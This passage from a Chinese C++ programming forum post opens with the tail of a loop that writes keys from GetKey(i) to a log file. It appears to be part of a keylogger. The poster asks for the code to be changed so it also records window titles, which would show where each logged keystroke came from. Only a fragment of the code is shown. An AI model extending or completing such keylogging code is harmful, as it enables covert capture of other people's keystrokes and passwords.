&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; TempString = GetKey(i);
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; FStream.write(TempString.c_str(), TempString.size());
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; FStream.close();
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; }
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; }
&#160; &#160; &#160; &#160; }
}




哪位大神可以修改一下这个代码,可以记录窗口标题。这样可以分清楚记录的是哪里的内容。





上一篇:MFC
下一篇:《实用C++》27课new及作业提问
您需要登录后才可以回帖 登录 | 加入驿站 qq_login

本版积分规则

×【发帖 友情提示】
1、请回复有意义的内容,请勿恶意灌水;
2、纯数字、字母、表情等无意义的内容系统将自动删除;
3、若正常回复后帖子被自动删除,为系统误删的情况,请重新回复其他正常内容或等待管理员审核通过后会自动发布;
4、感谢您对VC驿站一如既往的支持,谢谢合作!

关闭

站长提醒上一条 /2 下一条

QQ|小黑屋|手机版|VC驿站 ( 辽ICP备09019393号-4 )|网站地图wx_jqr

GMT+8, 2021-8-2 21:01

Powered by CcTry.CoM

© 2009-2021 cctry.com

快速回复 返回顶部 返回列表